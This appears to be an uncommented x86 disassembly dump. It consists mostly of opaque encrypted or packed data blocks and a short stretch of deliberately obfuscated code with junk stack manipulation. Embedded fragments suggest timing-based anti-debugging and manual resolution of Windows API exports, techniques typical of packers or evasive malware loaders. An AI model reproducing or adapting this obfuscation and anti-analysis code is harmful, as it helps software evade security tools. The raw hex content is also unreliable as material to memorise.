		dd 0F66785D7h, 19DB617Bh, 0B930CA9Eh, 0D890AA3Eh, 56B30D5Fh
		dd 0C681E689h, 4, 3304EE83h, 34312434h,	24343324h, 20AA685Ch
		dd 3C890000h, 0E2895224h, 4C281h, 0EA830000h, 24148704h
		dd 2414895Ch, 183668h, 24048900h, 0E95129B8h, 58C78905h
		dd 8904EC83h, 4812424h,	424h, 57565A00h, 2A242C81h, 5E1E3572h
		dd 722AC681h, 72891E35h, 34FF5E08h, 0C4815A24h,	4, 53243C8Bh
		dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFB220Eh, 0ACE145DFh
		dd 5B32B837h, 0C50305E9h, 0AE8C38Bh, 0DC000000h, 1330D574h
		dd 4E4AD8DDh, 0F95AFC5Eh, 752EC281h, 0B70F0000h, 57C933F7h
		dd 0FE9h, 0CD79EC00h, 0B0DD3B30h, 0CE8C565Dh, 0B868CEFFh
		dd 0A048B5Eh, 443FE881h, 8ABB2E19h, 811718DAh, 4AC650F0h
		dd 81DF8B4Eh, 374168F0h, 84BE6641h, 0A0489E7h, 4860Fh
		dd 8B530000h, 0E9815EF1h, 70AE86B5h, 0BE9h, 0AD73300h
		dd 12A11AABh, 0DBF36512h, 86B1C181h, 0BF0F70AEh, 90F981F2h
		dd 0FFFFF8Bh, 2B85h, 0DE800h, 16F0000h,	0C65BA70Fh, 6612ED9Fh
		dd 0E8781D0Dh, 6, 34DAD632h, 5F5E3600h,	18E9h, 0EFF0E00h
		dd 757FF2A2h, 0D7816656h, 0E95F2CD9h, 0FFFFFF71h, 45DA41B9h
		dd 0AE8BEh, 0EF2F0000h,	0CDEE79FFh, 0ABD4755Fh,	8B0Fh
		dd 81590000h, 8AB107D2h, 9AC1815Bh, 0BF00006Ch,	1AF1h
		dd 0CE9h, 231C8400h, 59446B73h,	32E29120h, 0E931FFE9h
		dd 0Fh,	6308BCA6h, 845A1F54h, 9DD85601h, 5B197F26h, 12E88166h
		dd 44EB81CAh, 0B86BAFB6h, 0FB4FB0Eh, 64E1C381h,	0DE86B14h
		dd 0A7000000h, 8824407Ah, 73B6C16Ah, 6763C9ACh,	0FDC3815Eh
		dd 0E946A5C1h, 13h, 769E2399h, 0C543737Bh, 6EDCC7BFh, 0A35999A4h
		dd 89BEE58Ch, 8D82BE19h, 0E98361D7h, 820F5204h,	5, 4FA3E2B8h
		dd 0EF815E15h, 1, 12850Fh, 81660000h, 0E9E326EAh, 1Ch
		dd 0F52EF7E3h, 0C0DA3AAEh, 0FF67E9FCh, 85F8FFFFh, 2B3F97FDh
		dd 223265ABh, 0A4B08EDFh, 0E9AB1150h, 0A5C74843h, 0F132AC44h
		dd 52673B2h, 795A378Bh,	0FF8B721Ch, 82C887A5h, 30B68749h
		dd 47FD2683h, 23897A39h, 191E8A6Dh, 3F8A3293h, 308B0F3Eh
		dd 3A078DDDh, 75622857h, 5A8B3774h, 336362BBh, 108B37DDh
		dd 0B9D6F4B3h, 0B18F131Bh, 248F13FFh, 758B37DDh, 564DF4BBh
		dd 502BA5C8h, 2F1ADC3Ah, 0B08477F9h, 308B37EEh,	5D36B416h
		dd 308ED3A7h, 3099B3D2h, 0E93137EEh, 0D98B9580h, 308B34BBh
		dd 7BC4E05Ch, 0CB0002D1h, 6D00B2FAh, 30E13252h,	3088DF8Ch
		dd 69AB37EEh, 7C026EB4h, 740A339Fh, 309133F9h, 61CA37EEh
		dd 0E7EF32B4h, 0D334F6BEh, 0E600CE56h, 89ED61BEh, 0B9D24D12h
		dd 0B50613BFh, 35626AB0h, 72EE06Fh, 50DB0ED4h, 3E1F88DDh
		dd 308DB4D2h, 62DB37EEh, 68D10678h, 148FBEDAh, 0D8D837B7h
		dd 308B37EDh, 6B486C57h, 34AF6B32h, 34AF735Ch, 308B37F3h
		dd 0C2486434h, 82B2F5A1h, 0EFB45C01h, 3A0F382Bh, 3F8B3777h
		dd 308B333Dh, 0AD3551DDh, 309FDE44h, 7B653777h,	10A70ABEh
		dd 32B73677h, 0C51656A8h, 14C71AACh, 0A574F15Fh, 356F0568h
		dd 3082DEB8h, 1EF63777h, 6B30B078h, 6F4BB157h, 0D9EBF765h
		dd 308B3765h, 4DF1D572h, 0B8A099C9h, 0E3C836B5h, 566BE95Bh
		dd 517EBF58h, 262A8A5Eh, 458B320Ah, 3D36B47Eh, 308ED399h
		dd 63DB2EA9h, 4A33F765h, 0B98B3773h, 0D4A9223Eh, 0DB16BAD8h
		dd 0CF8ED146h, 0B3D36CA4h, 0D4A93A06h, 27FF37D8h, 4A3364BEh
		dd 0B98B3773h, 0D4A9223Eh, 0EA16BAD8h, 0CF8ED14Bh, 5AD36CA4h
		dd 336367BBh, 108B37DDh, 0B9D3F4B6h, 0B18F1333h, 288F13FFh
		dd 708B37DDh, 3115F4BEh, 0D8F3BBDFh, 308B37B6h,	3B7B3D27h
		dd 9119F6C0h, 2C4EB9EDh, 7F325129h, 0B1ED6801h,	5A410E2Ch
		dd 33636477h, 108B37BBh, 0B9D0F486h, 0B18F13B2h, 248F1333h
		dd 738B37BBh, 0B00EF48Eh, 0F000B203h, 308B239Eh, 7913EBBh
		dd 4E5C40F4h, 0A4959839h, 124EBBF4h, 0B9B00BD3h, 4516BA25h
		dd 0BB8EDEB3h, 930EBA86h, 0B18EDEF6h, 51AB5D3Fh, 0B05BC8D2h
		dd 0F08032A9h, 30E4B3B4h, 0B88437DDh, 308B37EDh, 0BD718078h
		dd 0D4C70726h, 0B18457D8h, 308B37F9h, 308B259Eh, 0D2C7F4BBh
		dd 0C9592FC2h, 1232941Ah, 0EE09D9A3h, 51602FC5h, 3089BED2h
		dd 0E03937EEh, 308B34CFh, 608B5DBBh, 308B3435h,	0F3D317EEh
		dd 14CFBE2Fh, 14CFB6BFh, 308B20D9h, 0F3DB77EEh,	503BBDE2h
		dd 6C62B6DDh, 0D968C885h, 308B37E8h, 3F66BD27h,	8F848988h
		dd 4D16BA0Eh, 3F8EDEB3h, 308B32FEh, 762B8DBBh, 0B50642BCh
		dd 35627A4Dh, 0C70A5120h, 56D577B2h, 0CF230767h, 3D34513Eh
		dd 3099DEB2h, 0E9C37BBh, 0B500F162h, 6ECF7D40h,	84A1DD4Dh
		dd 342957D8h, 0B484F7D6h, 308B37F0h, 3089BF78h,	0FC0137BBh
		dd 7CBBAA50h, 5677320Ah, 3133C0FCh, 818B37BBh, 5668C86Dh
		dd 0AD06F965h, 35626AF5h, 20CAF53Ah, 0B50648E3h, 35627A4Dh
		dd 0BB5BC88Bh, 3F4B3C73h, 308B7C59h, 3D3B8EEEh,	0AD062A0Dh
		dd 356F7B8Bh, 88F2E55Dh, 308B37EDh, 308B319Fh, 0AF63E5BBh
		dd 8AB55202h, 1F3E193Eh, 5A68C82Eh, 336360BBh, 108B37DDh
		dd 0B9D4F4B1h, 0B18F130Bh, 2D8F13FFh, 778B37DDh, 4DEF4B9h
		dd 7C9C2C02h, 135270Dh,	3080DE9Eh, 44AB37EEh, 61835D3Eh
		dd 0ED437BCAh
		dd 5B36BA52h, 0BD8EDEB3h, 0D9EA2BFAh, 6CF68FBEh, 0B5B8BD96h
		dd 356F2B6Fh, 0D94AF85Ch, 0B34D16BAh, 0FE3F8EDEh, 0BB308B32h
		dd 0BC762B8Dh, 4DB50642h, 2035627Ah, 5E98351h, 0C08BA4F3h
		dd 29F1F5BFh, 0C800F45h, 0F000000h, 68Eh, 820F00h, 8B000000h
		dd 0BE8C3h, 1FEB0000h, 532419ABh, 1929D16Eh, 0C08B5A3Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B6C35343h
		dd 83C75E1Bh, 0E416A1BDh, 9750005h, 220DBD83h, 740005E4h
		dd 8B535019h, 47AB8C0h,	85890000h, 5E41A55h, 0A9529D8Dh
		dd 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50177400h,	47AB853h
		dd 85890000h, 5E41A55h,	0A5F39D8Dh, 0D3FF05E6h,	0BF66585Bh
		dd 0C08B6A5Eh, 4EC604EBh, 0D3E93D0Ah, 95000005h, 0FE24AB22h
		dd 40DAFD7Ah, 938F0E89h, 0FB27A621h, 4FD8FF7Ah,	3DB43970h
		dd 53CC809Ah, 0E760D64Ch, 3ABD3AE0h, 40BDEC9Bh,	54EE46E2h
		dd 3A992442h, 47086A5Bh, 0B36454EEh, 0EE46F072h, 0CE8B4C54h
		dd 49C07789h, 0F464E973h, 0CDA41542h, 72D506B1h, 9527A028h
		dd 48D2F55Eh, 0C7A59A83h, 254F0554h, 112B81F2h,	0C889235Ah
		dd 87E364D2h, 93FF58D7h, 0FA08A027h, 0CA8160A0h, 8E6D4C53h
		dd 554B3B1h, 15FE314Fh,	0C5C84309h, 4C1C9F5Dh, 0DE813EBEh
		dd 0C49417C4h, 0F416420Fh, 68F2C641h, 89516BE4h, 0A937FF23h
		dd 0B83EDFC3h, 0D582983Fh, 0DF6B6D4Bh, 0C786572Dh, 5717CFEh
		dd 0C237F84Fh, 70F071F6h, 0A5144F05h, 5805E23Bh, 0E6DBA27Ch
		dd 98248D2h, 101EBB3h, 0C9C993C9h, 15474300h, 67B42Eh
		dd 0CCE30000h, 0E612106Dh, 0A1924F04h, 0AA2DAAF4h, 0E649291Eh
		dd 0DBE14F04h, 0C9251ED7h, 1562E14h, 81000000h,	12106DCCh
		dd 0F24F04E6h, 7AE9C344h, 0D8C28F40h, 27C59710h, 86A434B3h
		dd 0F3015BD4h, 0D73369A9h, 0DA2BEA65h, 4F04E658h, 6CB663D4h
		dd 5646BECh, 0DED4882Dh, 0B38C86C1h, 4F05B9B1h,	0C28FC033h
		dd 0F59813D8h, 4BC67760h, 0E86FEB71h, 0BDE5C5D0h, 0BF3ABBE7h
		dd 6775F463h, 76E723ECh, 0ADF5D4FBh, 56D1852Fh,	339C5765h
		dd 26E960D7h, 4DB0F7CCh, 9E7B87FCh, 2EA9203Ah, 377BCF9Ah
		dd 155D75FEh, 0BEE62Eh,	77310000h, 0EB714BC6h, 2604796Eh
		dd 864F04E6h, 0FA78644Ch, 48BDC21Eh, 0D5AF4517h, 0E894CADh
		dd 3522938Fh, 53B6AC8h,	0D409CA4Fh, 0E9F46684h,	52280C81h
		dd 0BEE76D4Ch, 4F059ABCh, 1A186538h, 9A4F059Bh,	99336459h
		dd 0FB327ECCh, 2E158478h, 21581109h, 0C0FF588Bh, 0A8h
		dd 62C67717h, 0EA5973F4h, 0E77D6B9h, 4F04E62Ch,	0BF804788h
		dd 4F04E5BDh, 0B913FC3Fh, 0D2550218h, 86804D86h, 0E70557D0h
		dd 5CEEFA75h, 0F84C1C9Fh, 9A26EE12h, 0CBAAF030h, 5301F1EFh
		dd 0FD225489h, 4F05327Fh, 35513AFDh, 4E2E1080h,	91165690h
		dd 705A395Ch, 0D52A8E3Bh, 4F05B057h, 832862D5h,	4617C07Bh
		dd 285DC377h, 0B2429E6Ah, 9E6345F8h, 0B65287B4h, 575EB49h
		dd 5586494Fh, 8E55BD60h, 0D24D0083h, 71014D86h,	5705CEBEh
		dd 58B8F90h, 1F03594Fh,	156F6DD6h, 0A9E2Eh, 0E3CF0000h
		dd 0C9CB1C79h, 4902CBh,	12106DCCh, 924F04E6h, 2FAAF4A1h
		dd 4D0A10A8h, 5BA40BCAh, 4F04E5D9h, 803BB15Bh, 7C63B28h
		dd 4E63C3Eh, 9A77B84Fh,	9C846E3Eh, 5A7DFC7Dh, 5E1DB66Fh
		dd 0DA2BEADFh, 54E911EDh, 3955B892h, 6C68CF97h,	84D407A3h
		dd 4DA7F5DDh, 31D5B619h, 3ABD3A64h, 78C88F9Bh, 0BDAD60F2h
		dd 12B3D93Fh, 67588B21h, 0A2160C55h, 270B6825h,	0AB54E90Eh
		dd 0F16AE03Ah, 9776BA24h, 4EC98020h, 2BA07A1Dh,	0B5EDB0h
		dd 57003389h, 0F970E705h, 8CF4D6E3h, 8C0FCCD6h,	404A073Ch
		dd 0BD8D108Bh, 33F8F0C6h, 16F37h, 6FD86600h, 11C02AEDh
		dd 56D18377h, 37C7B87Ch, 0FE248B5Ah, 2F14C17Eh,	54E95BC2h
		dd 0B14B61D2h, 61C833Ah, 7882D651h, 9795EAF3h, 4554E92Ah
		dd 7C8F1039h, 68ABD7B8h, 82DA58A5h, 995A54E9h, 3D02E1A4h
		dd 54E9833Fh, 0E49E19DDh, 8D21E733h, 0BA5821A3h, 0EA61FBD1h
		dd 43199E5Ah, 0FF0D5F90h, 15E9C37Eh, 0E8834BB7h, 0C88F6E92h
		dd 59A48E51h, 217EB55h,	76C4DBB4h, 33F9210Dh, 6C7Eh, 62D89900h
		dd 7CFD25E8h, 0EE4D10FDh, 0E634360Fh, 7FB04F04h, 5D36B123h
		dd 4E66614h, 9C0CC64Fh,	0AB15C28Bh, 4A3EF8ABh, 0D20750ACh
		dd 1614CBE1h, 0B54F053Ah, 0F5333C16h, 0B5F53AA9h, 0E8B2FED8h
		dd 288007B2h, 2F9B5E3Bh, 703E2A5h, 0C07FFF51h, 0AB943D8Fh
		dd 4F05C5C9h, 6BB7E82Bh, 41AE6BEEh, 4F05C633h, 38BFDE11h
		dd 84h,	0ED6FD86Fh, 0C17AF02Ah,	8F4CB114h, 3454E8F6h, 3513B3DEh
		dd 78D5EB9Ah, 0C0DABD7Eh, 63D8F08h, 12FF78FCh, 2637A446h
		dd 0E91C5BD9h, 2516D954h, 78F378A2h, 1D78FF60h,	582254E9h
		dd 0BB32B958h, 6CFED4h,	864D29DEh, 0FFDBBACDh, 701241D0h
		dd 0AB0ECB85h, 50AD70F2h, 5AD258A7h, 79F0658Fh,	93594104h
		dd 0F1DBF18h, 23FBD148h, 5E175959h, 0FB0479DCh,	8054FBB7h
		dd 0B3C10DAAh, 0E6B33338h, 0E3741BDCh, 2AED6FD8h, 999BE44Bh
		dd 1B4F04E5h, 0E5F7754Ah, 82754F04h, 92BF8451h,	0E254EE47h
		dd 87346E31h, 0FB014B04h, 0FBDAFD7Ch, 0B376319Fh, 5603B1A8h
		dd 490C8F4Ch, 969795EAh, 0B1554EEh, 43F0C84Fh, 4E17450Eh
		dd 969496EFh, 0DF1054EEh, 0BE0F0D72h, 0BB058DD1h, 0A6219677h
		dd 0E26A4027h, 362F7851h, 63E452ACh, 45EF6CB6h,	8F441497h
		dd 7AFC0E5Ah, 4913EBC1h, 0A823A849h, 0E99F8DE5h, 87DCFC1h
		dd 75E2384Fh, 31FE6F2h,	4E000000h, 0C4775106h, 6EED7F4Dh
		dd 894FDDEFh, 2CA0BA0Eh, 520319B3h, 0F66785D7h,	19DB617Bh
		dd 0B930CA9Eh, 0D890AA3Eh, 68B30D5Fh, 43C2h, 68241489h
		dd 3296h
		db 89h,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		push	40700B58h
		pop	esi
		sub	esi, 3A86A976h
		push	esi
		pop	edi
		pop	esi
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8


loc_594F42:				; DATA XREF: ___:off_438100o
		add	eax, ebx
		mov	[eax], edi
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		db 0BDh, 0B8h, 36h
		dd 305E967h, 0CCE0FFC5h, 0F7664FA1h, 0F143DFEAh, 0E46B394Fh
		dd 0FD72EB88h, 60792398h, 0BC420F70h, 0A20A75E5h, 8862FF4Fh
		dd 0A84C4B57h, 5D30FE79h, 5E3B6A6Ch, 11541A6Eh,	664E8D82h
		dd 826880AAh, 0A64E9129h, 843954D9h, 4D0284EFh,	0DC3E7B08h
		dd 0EC1EA9DCh, 0CB4B23A1h, 12A5B6h, 271FC9BAh, 0F51DAF1Eh
		dd 7D0F12BBh, 8D1E0185h, 0E968F18Dh, 13E905h, 63F70000h
		dd 0B94CF075h, 61257305h, 48E02042h, 2EE0165Eh,	958D89C8h
		dd 5705E410h, 38B0Fh, 0BF0F0000h, 85C75AFFh, 5E42C65h
		dd 7344h, 112D8501h, 85C705E4h,	5E430FDh, 0
		dd 7E8h, 8F6AD600h, 0D1B7DBA7h,	0DB8FBA66h, 1DB5FF5Bh
		dd 6A05E402h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 8266C351h, 0DC4D84A6h,	8166CBECh
		dd 0FF70E7EBh, 0E42A6195h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0F2C82B6Eh
		dd 0EE8105Dh, 6A000000h, 99516088h, 0E8AB704Ch,	2634B0FEh
		dd 0F7B70FA0h, 6AFA8B5Eh, 0C195FF00h, 8B05E410h, 3D6BEBC0h
		dd 0CB1C6C51h, 56150450h, 0A09A9B94h, 0CF61081Ah, 88F054Dh
		dd 98859DCh, 7FF140CDh,	0C50A113Ah, 84E8A1D0h, 66279B9Fh
		dd 0E8CB1448h, 78A41F1Eh, 0DFC346C4h, 0A1D326B9h, 31E7D689h
		dd 0E2495C22h, 67172CFAh, 57D1D48Bh, 1B5FBDAh, 0D8AFC115h
		dd 83E2888Ch, 9463C8C2h, 8FD6A176h, 418DAB53h, 0E5CD9A6h
		dd 0DD5D2141h, 8D8D4A32h, 5E96A46h, 599D2B60h, 3305E41Dh
		dd 0E4091585h, 8D896105h, 5E41095h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 6EC35545h, 0F0F0765h, 686h
		dd 0BD8D8900h, 0C705E421h, 0E42C6585h, 722005h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 3309D6A3h, 31FAB70Fh, 0E4042D85h, 0FD85C705h, 5E430h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 94FBC353h, 0FE9h, 0E6BDBD00h
		dd 0C4BC82D4h, 3B6A1A0Ah, 5F44BEFh, 2031B5FFh, 0FE805E4h
		dd 0B000000h, 0DAE9E6A8h, 16C4C85Dh, 0C07ED6FEh, 830F14CAh
		dd 5, 5C2FB1BFh, 95FF5B0Fh, 5E42A61h, 95FF006Ah, 5E410C1h
		dd 1EEBC08Bh, 773E1F58h, 7399AED2h, 0C808EBF9h,	0BEF60D09h
		dd 4AB7C5Fh, 0AA88E406h, 0E47D0A39h, 3CE92DB9h,	1, 4Eh dup(0)
		dd 83000000h, 0E41681BDh, 840F0105h, 54Dh, 10800Fh, 880F0000h
		dd 0Ah,	5E9h, 0EDE81000h, 85C6DA75h, 5E42A49h, 53006A43h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 33F7CE14h, 6DBFEBA6h, 0E93668F8h, 5250C022h,	68F0Fh
		dd 52500000h, 585A310Fh, 5250310Fh, 9E9h, 1D438B00h, 0B3AA3A1Eh
		dd 310FE139h, 310F5250h, 585A585Ah, 3481585Ah, 8739C324h
		dd 1800F2Ch, 0FC000000h, 26F5B5FFh, 8F0F05E4h, 7, 1850Fh
		dd 8DFC0000h, 0E76D3085h, 12E96005h, 6D000000h,	9452A3B7h
		dd 42DEBE67h, 16779207h, 59D852DFh, 0AE89Ch, 0BFA00000h
		dd 28D0D6C8h, 0FAEA6AE3h, 5AD1B70Fh, 0D0FFFC61h, 12E9h
		dd 94AD2900h, 140C4E68h, 0C999F4FFh, 29795056h,	89E7AC31h
		dd 0E411C185h, 0E9816005h, 1D5ACA00h, 5E9h, 3728F400h
		dd 0C661F3A7h, 0E42A4985h, 0AE95005h, 86000000h, 0CA755D89h
		dd 9CB126B7h, 8F68F509h, 0F3EA2C3h, 1984h, 14E900h, 44840000h
		dd 45E60CE0h, 17134232h, 0EE78DEB4h, 5283F2DEh,	481ABB4h
		dd 0AE9C724h, 0E0BB606Ah, 8B7F9D14h, 0B5FF61F1h, 5E426F5h
		dd 0AE9h, 0D2126100h, 43B1B73Bh, 8D77BC03h, 0E76D3085h
		dd 8B666005h, 0C18B51C3h, 0D0FF6158h, 0F58589FCh, 6005E417h
		dd 880Fh, 61F90000h, 38904168h,	505250F4h, 0F616052h, 5A616031h
		dd 50310F58h, 800F52h, 0F000000h, 860F31h, 5A000000h, 81585A58h
		dd 386E2434h, 0F6004B7h, 14E9FEB7h, 5D000000h, 154AB9BBh
		dd 0AF4668FCh, 0A08C7017h, 0B294BF1Ch, 6167B5A9h, 1D8A0Fh
		dd 8A0F0000h, 17h, 12E9h, 11C9DA00h, 0BB0FE53Fh, 81227403h
		dd 0A54F4796h, 0FFC3D0F7h, 0E426F5B5h, 858DF505h, 5E76D30h
		dd 0EE9h, 3C260800h, 14671AD9h,	6E23A9A8h, 0FF961EA1h
		dd 8589FCD0h, 5E41A85h,	68B0F60h, 0F000000h, 88h, 118C0F00h
		dd 0E9000000h, 0Ch, 0AC3641FDh,	33784922h, 6962E7B1h, 4985C661h
		dd 5005E42Ah, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	41C35242h, 17820Fh, 12E90000h, 0F6000000h, 1246B5AEh
		dd 0B8E2E731h, 6B9AECFDh, 238F26EDh, 223C6874h,	0E860B179h
		dd 6, 5E4AC833h, 0BA66D760h, 0E85F3A66h, 14h, 71557E65h
		dd 3EF15188h, 82CC99D1h, 66BE3F04h, 0F022BD61h,	310F5250h
		dd 615E585Ah, 6A243481h, 0F826E5FEh, 28E5B5FFh,	880F05E4h
		dd 13h,	0D840Fh, 8E90000h, 0BD000000h, 33562A1Ch, 8DE37C57h
		dd 0E4399485h, 0EE905h,	0F110000h, 0CA0C8437h, 0BF395B8h
		dd 1299DFE3h, 0E960D0FFh, 6, 0CB7B6EDDh, 0B8665301h, 60610DF2h
		dd 43DAB966h, 14E953h, 703C0000h, 51861D3Bh, 0A4FDC047h
		dd 164D46A6h, 700C6AD5h, 615F11EBh, 22D18589h, 6A05E4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0EB6209C3h, 3A56A39Bh, 0F9EDFB2h, 18Ch, 6660F900h, 60854DBFh
		dd 0B70FC78Bh, 0E96161F6h, 1E9h, 0FCFC6060h, 890F61h, 61000000h
		dd 0F525050h, 1687h, 11E900h, 0A2860000h, 0A3C9ECFAh, 0EDAE7EFCh
		dd 0CED2D7ABh, 0F71A765h, 0E820F31h, 0E9000000h, 9, 12FE3A0Ah
		dd 1F055D19h, 89585AC5h, 6A242Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 13E9DAC3h, 0D000000h
		dd 6A15B085h, 6BD6A5CCh, 243BE939h, 9A350C25h, 8BF95CBAh
		dd 7850FECh, 0F000000h,	182h, 0C483FC00h, 0EE9FCh, 0FF110000h
		dd 0EB02EB2Bh, 18E944FBh, 180E156Ch, 0B890F60h,	0E9000000h
		dd 6, 10AB984Ch, 0E8C7DDh, 5A000000h, 6FD2EA81h, 45C705E9h
		dd 0FCh, 81BA8300h, 105E416h, 98840Fh, 6A520000h, 0FF0F6A00h
		dd 0E411C192h, 82895A05h, 5E96A6Eh, 6A729A8Dh, 0C75205E9h
		dd 12803h, 0FF505300h, 0E417F592h, 8D525A05h, 0E96A729Ah
		dd 0B2FF5305h, 5E96A6Eh, 22D192FFh, 0B5A05E4h, 8D5074C0h
		dd 0E96A729Ah, 247B8D05h, 0F981C933h, 104h, 8141D474h
		dd 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h, 5E42E95h
		dd 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 2E95828Dh,	0FF5005E4h
		dd 0E41A8592h, 0C00B5A05h, 45C7A075h, 1FCh, 0C707EB00h
		dd 0FC45h, 8B610000h, 0C2C9FC45h, 6A0008h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 688C38C3h
		dd 60D8E3F6h, 50006A81h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 8529F53Bh, 0F850F54h, 0E9000000h
		dd 0Ah,	0B96B5652h, 4C1F769Ah, 830F063Eh, 19h, 0DE960h
		dd 5C260000h, 18D7C1EDh, 1BBD501Ah, 0BBD1C1DFh,	5A19AF4Dh
		dd 0E9D28B61h, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h
		dd 0E428E5B5h, 30858D05h, 0FF05E76Dh, 318589D0h, 8B05E410h
		dd 0CEFC1FEh, 6000068h,	6A006A20h, 0D685702h, 0FF000100h
		dd 0E4103195h, 32E905h,	85C60000h, 5E42A49h, 30DF6856h
		dd 0B5FFA9C5h, 5E426F5h, 6D30858Dh, 0D0FF05E7h,	238D8589h
		dd 858D05E4h, 5E41FCDh,	6A406A50h, 95FF5605h, 5E4238Dh
		dd 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 89858908h, 8B05E971h, 85890C42h
		dd 5E97181h, 8910428Bh,	0E9718585h, 0BFB58D05h,	8D05E971h
		dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7189B58Bh, 858B05E9h
		dd 5E97181h, 7185BD83h,	0F0005E9h, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 5E97189h, 7210B58Dh
		dd 858D05E9h, 5B7E35h, 5A61D0FFh, 7189858Bh, 4C205E9h
		dd 89858B00h, 8B05E971h, 89858900h, 0CF05E971h,	0
		dd 0E6B58960h, 8905E971h, 0E971E285h, 2D858D05h, 8B05E429h
		dd 85894440h, 5E9721Fh,	7255B58Dh, 858D05E9h, 5B7E35h
		dd 8B61D0FFh, 0E971E685h, 9D8BC305h, 5E971E2h, 3C43B70Fh
		dd 5B8BD803h, 0E29D0378h, 8B05E971h, 0B5032473h, 5E971E2h
		dd 207B8B56h, 31C738Bh,	0E971E2BDh, 0E2B50305h,	0FC05E971h
		dd 41FFC983h, 71E69D8Bh, 178B05E9h, 71E29503h, 0C78305E9h
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 71E28503h, 858905E9h, 5E971E6h, 0CE8BF08Bh
		dd 0BD81C18Bh, 5E9721Fh, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 0E9721FBDh, 70C8305h, 7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	5E9721Fh, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 0E9721FBDh, 30000005h, 0E840FC0h,	25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 5E9718Dh,	1A098589h
		dd 858D05E4h, 5E97223h,	8258589h, 858D05E4h, 5E971EAh
		dd 718589h, 5CE905E4h, 3B000001h, 0C1F1A11Dh, 0B197B949h
		dd 3B0BAB5Ah, 0F852A054h, 930BA354h, 9F52A85Ah,	8E3B8373h
		dd 2352D126h, 79C5F127h, 9D61457Bh, 875296B4h, 9752E716h
		dd 0DF52E717h, 0EB52E716h, 0F752E716h, 0FB52E716h, 0D252E716h
		dd 0FE52E716h, 7752E716h, 0BF52E716h, 8C52E716h, 8A26946Fh
		dd 0A772E77Bh, 9E318864h, 0FD0F9465h, 0FE52E716h, 7F52E716h
		dd 0BF52E716h, 0DF52E716h, 0EF52E716h, 0F752E716h, 0FB52E716h
		dd 0FD52E716h, 0FE52E716h, 7F52E716h, 0BF52E716h, 0DF52E716h
		dd 0EF52E716h, 0F752E716h, 0FB52E716h, 0FD52E716h, 0FE52E716h
		dd 7F52E716h, 0BF52E716h, 0DF52E716h, 0EF52E716h, 0F752E716h
		dd 0FB52E716h, 0FD52E716h, 0FE52E716h, 7F52E716h, 0BF52E716h
		dd 0DF52E716h, 0EF52E716h, 0F752E716h, 0FB52E716h, 0FD52E716h
		dd 0FE52E716h, 7F52E716h, 0BF52E716h, 0DF52E716h, 0EF52E716h
		dd 0F752E716h, 0FB52E716h, 0FD52E716h, 0FE52E716h, 7F52E716h
		dd 0BF52E716h, 0DF52E716h, 0EF52E716h, 0F752E716h, 0FB52E716h
		dd 0FD52E716h, 0FE52E716h, 7F52E716h, 0BF52E716h, 0DF52E716h
		dd 0EF52E716h, 0F752E716h, 0FB52E716h, 0FD52E716h, 0FE52E716h
		dd 7F52E716h, 0BF52E716h, 0DF52E716h, 0BD52E716h, 0E9370D92h
		dd 16CCh, 0E976C568h, 0CFAEE905h, 0D668FFFBh, 0E905E977h
		dd 0FFFBCFA4h, 0E9789968h, 0CF9AE905h, 7168FFFBh, 0E905E979h
		dd 0FFFBCF90h, 0E97B2768h, 0CF86E905h, 9B68FFFBh, 0E905E97Ch
		dd 0FFFBCF7Ch, 0E97D9D68h, 0CF72E905h, 9768FFFBh, 0E905E97Eh
		dd 0FFFBCF68h, 0E9808468h, 0CF5EE905h, 5268FFFBh, 0E905E981h
		dd 0FFFBCF54h, 0E981E068h, 0CF4AE905h, 0A068FFFBh, 0E905E982h
		dd 0FFFBCF40h, 0E983D468h, 0CF36E905h, 3868FFFBh, 0E905E989h
